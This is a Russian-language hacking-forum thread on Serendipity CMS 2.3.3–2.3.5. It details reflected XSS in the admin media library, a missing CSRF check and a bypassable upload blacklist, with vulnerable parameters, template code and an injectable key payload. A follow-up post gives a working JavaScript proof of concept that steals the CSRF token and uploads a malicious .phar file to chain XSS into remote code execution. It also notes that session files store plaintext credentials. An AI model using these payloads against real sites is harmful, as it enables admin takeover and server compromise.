Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Serendipity CMS (https://forum.antichat.xyz/showthread.php?t=481167)

Baskin-Robbins 24.10.2020 13:53

Бегло пробежался.

Оф.сайт - s9y.org

Уязвимы 2.3.3 - 2.3.5, возможно более ренние версии.



Reflected XSS в админке #1


XSS в поле поиска Media файлов - Media Library.

Пример запроса:

Код:

Code:
http://localhost.com/serendipity/serendipity_admin.php?serendipity[token]=86ff44208384e04d098c1ee7b69761e0&serendipity[adminModule]=media&serendipity[action]=&serendipity[adminAction]=&serendipity[toggle_dir]=no&serendipity[only_path]=&serendipity[only_filename]=&serendipity[filter]=&serendipity[only_path]=&serendipity[filter][fileCategory]=&serendipity[filter][i.date][from]=&serendipity[filter][i.date][to]=&serendipity[filter][i.name]=&serendipity[keywords]=&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC&serendipity[sortorder][perpage]=8&go=Go!

1)

Уязвимые поля:

serendipity[filter][fileCategory]

serendipity[filter][i.name]

serendipity[filter][i.date][from]

serendipity[filter][i.date][to]

serendipity[sortorder][order]

serendipity[sortorder][ordermode]

serendipity[sortorder][perpage]

serendipity[hideSubdirFiles]

2)

Наша страница содержится в templates/2k11/admin/media_items.tpl

Добираясь, наши данные проходят три функции в include/functions_images.inc.php

showMediaLibrary -> serendipity_displayImageList -> serendipity_showMedia -> media_pane.tpl

Несмотря на то, что с формой отправляется токен, ни в одной из этих функций нет проверки

CSRF токена, форма работает как с токеном так и без него.

3)

Некоторые элементы массива фильтруются еще до попадания в media_items.tpl,

например serendipity[only_path] или serendipity[only_filename], другие

средставами шаблонизатора Smarty в самом файле, но указанные выше -нет

и попадают они вот сюда:

Код:

Code:

  $(document).ready(function() {
      // write: is plain "foo", read: is "serendipity[foo]"!
  {foreach $media.sortParams AS $sortParam}

      serendipity.SetCookie("sortorder_{$sortParam}","{$media.sortorder.{$sortParam}}");
  {/foreach}
  {foreach $media.filterParams AS $filterParam}

      serendipity.SetCookie("{$filterParam}", "{$media.{$filterParam}}");
  {/foreach}

      serendipity.SetCookie("only_path", "{$media.only_path}");

      serendipity.SetCookie("only_filename", "{$media.only_filename}");

      serendipity.SetCookie("hideSubdirFiles", "{$media.hideSubdirFiles}");
  {foreach $media.filter AS $k => $v}
      {if !is_array($media.filter[{$k}])}

      serendipity.SetCookie("[filter][{$k}]", "{$media.filter[{$k}]}");
  {else}
      {foreach $media.filter[{$k}] AS $key => $val}

      serendipity.SetCookie("[filter][{$k}][{$key}]", "{$media.filter[{$k}][{$key}]}");
      {/foreach}
  {/if}
  {/foreach}

      $('#media_pane_filter').find('.reset_media_filters').addClass('reset_filter');
      $('#media_pane_sort').find('.reset_media_filters').addClass('reset_sort');

      $('.reset_filter').click(function() {
          $('#media_filter').find('input[type=text], input[type=date]').each(function() {
              $(this).attr('value', '');
          });
      });
      $('.reset_sort').click(function() {
          $("#serendipity_sortorder_order option:selected").removeAttr("selected");
          $("#serendipity_sortorder_order option[value='i.date']").attr('selected', 'selected');
          $("#serendipity_sortorder_perpage option:selected").removeAttr("selected");
          $("#serendipity_sortorder_perpage option[value='8']").attr('selected', 'selected');
      });
  });

Пройдет простой alert()

Reflected XSS в админке #2

Тот же файл, те же функции, но теперь необходимо обратить внимание на самое начало

шаблона media_items.tpl:

Код:

Code:

    {$CONST.MEDIA_LIBRARY}

   
        {$media.token}
        {if empty($media.form_hidden)}

       
       
       
       
        {else}{$media.form_hidden}{/if}

Тут понятно, элемент form_hidden массива media пустой - выводим шаблон, не пустой -

выводим form_hidden.

Откуда он берется?

include/functions_images.inc.php:serendipity_showMedia()

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$form_hidden[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#FF8000"]// do not add, if not for the default media list form
[/COLOR][COLOR="#007700"]if (([/COLOR][COLOR="#0000BB"]$serendipity[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'adminAction'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'default'[/COLOR][COLOR="#007700"]|| empty([/COLOR][COLOR="#0000BB"]$serendipity[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'adminAction'[/COLOR][COLOR="#007700"]])) && ![/COLOR][COLOR="#0000BB"]$serendipity[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'fid'[/COLOR][COLOR="#007700"]]) {
foreach([/COLOR][COLOR="#0000BB"]$serendipity[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"]] AS[/COLOR][COLOR="#0000BB"]$g_key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$g_val[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#FF8000"]// do not add token, since this is assigned separately to properties and list forms
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$g_val[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]$g_key[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$g_key[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'token'[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$form_hidden[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
}
}
}
[/
COLOR][COLOR="#FF8000"]// далее $form_hidden попадает в $media
[/COLOR][/COLOR

Ключи массива не фильтруются, в отличии от значений и попадают в файл шаблона.

Можно передать serendipity[хоть_что], например serendipity["/>alert()]=XSS.

XSS в имени ключа также справедливо и для serendipity[filter][*] несмотря на то что

попадает в код, указанный для XSS #1.

Insecure File Upload в админке

Загрузка файлов - это наверное первое на что стоит обратить внимание.

Нам разрешается загрузка широкого диапозона файлов, за исключением

файлов "with active content". А проверяется он по расширению - black list.

include/functions_images.inc.php:serendipity_isActiveFile( )

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]serendipity_isActiveFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) {
if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'@^\.@'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {
return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$core[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'@\.(php.*|[psj]html?|pht|aspx?|cgi|jsp|py|pl)$@i'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$core[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$eventData[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]serendipity_plugin_api[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]hook_event[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'backend_media_check'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$eventData[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$eventData[/COLOR][COLOR="#007700"];
}
[/
COLOR][/COLOR

И мы спокойненько грузим phpinfo.phar с содержимым:

Код:

Code:

Baskin-Robbins 06.11.2020 18:50

Небольшое дополнение.

Демонстративный POC XSS->RCE via Phar

Код:

Code:
let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media';

function stealToken(data) {
  let dom = new DOMParser();
  let doc = dom.parseFromString(data, "text/html");
  let input = doc.getElementsByName("serendipity[token]")[0];
 
  submit(input.value);
};

function submit(token) {
    let blob = new Blob([""], {type: 'application/octet-stream'});

    let formData = new FormData();
    formData.append("serendipity[token]", token);
    formData.append("serendipity[action]", "admin");
    formData.append("serendipity[adminModule]", "media");
    formData.append("serendipity[adminAction]", "add");
    formData.append("serendipity[userfile][1]", blob, "0evil.phar");
    formData.append("serendipity[target_filename][1]", "");
    formData.append("serendipity[target_directory][1]", "uploads/");
    formData.append("serendipity[column_count][1]", "true");
    formData.append("serendipity[imageurl]", "");
    formData.append("serendipity[target_filename][]", "");
    formData.append("serendipity[target_directory][]", "");
    fetch(page, {
            method: 'POST',
            body: formData
    });
}

fetch(page)
    .then(r => r.text())
    .then(d => { stealToken(d) });

Плюс не бага, но важно - в файлах сессии хранятся в открытом виде логин, пароль, почта, чего быть не должно.


Время: 00:20